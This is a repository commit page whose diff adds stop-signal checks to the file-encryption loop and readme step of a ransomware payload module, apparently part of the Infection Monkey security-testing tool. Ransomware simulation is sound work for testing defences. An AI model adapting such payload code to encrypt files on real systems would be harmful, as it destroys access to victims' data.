p20319658
/
monkey
forked from p34709852/monkey
1
0
Fork 0
Code Issues Pull Requests Projects Releases Wiki Activity

Agent: Add interrupt handling to ransomware

This commit is contained in:
Ilija Lazoroski 2021-12-17 15:31:20 +01:00
parent 958cf3a252
commit 61a7647f9b
1 changed files with 13 additions and 3 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

16
monkey/infection_monkey/payload/ransomware/ransomware.py
View File

@ -33,7 +33,7 @@ class Ransomware:
self._target_directory / README_FILE_NAME if self._target_directory else None self._target_directory / README_FILE_NAME if self._target_directory else None
) )
def run(self, _: threading.Event): def run(self, interrupt: threading.Event):
if not self._target_directory: if not self._target_directory:
return return
@ -41,7 +41,11 @@ class Ransomware:
if self._config.encryption_enabled: if self._config.encryption_enabled:
file_list = self._find_files() file_list = self._find_files()
self._encrypt_files(file_list) self._encrypt_files(file_list, interrupt)
if interrupt.is_set():
logger.debug("Received a stop signal, skipping remaining tasks of ransomware payload")
return
if self._config.readme_enabled: if self._config.readme_enabled:
self._leave_readme_in_target_directory() self._leave_readme_in_target_directory()
@ -50,10 +54,16 @@ class Ransomware:
logger.info(f"Collecting files in {self._target_directory}") logger.info(f"Collecting files in {self._target_directory}")
return sorted(self._select_files(self._target_directory)) return sorted(self._select_files(self._target_directory))
def _encrypt_files(self, file_list: List[Path]): def _encrypt_files(self, file_list: List[Path], interrupt: threading.Event):
logger.info(f"Encrypting files in {self._target_directory}") logger.info(f"Encrypting files in {self._target_directory}")
for filepath in file_list: for filepath in file_list:
if interrupt.is_set():
logger.debug(
"Received a stop signal, skipping remaining files for encryption of "
"ransomware payload"
)
return
try: try:
logger.debug(f"Encrypting {filepath}") logger.debug(f"Encrypting {filepath}")
self._encrypt_file(filepath) self._encrypt_file(filepath)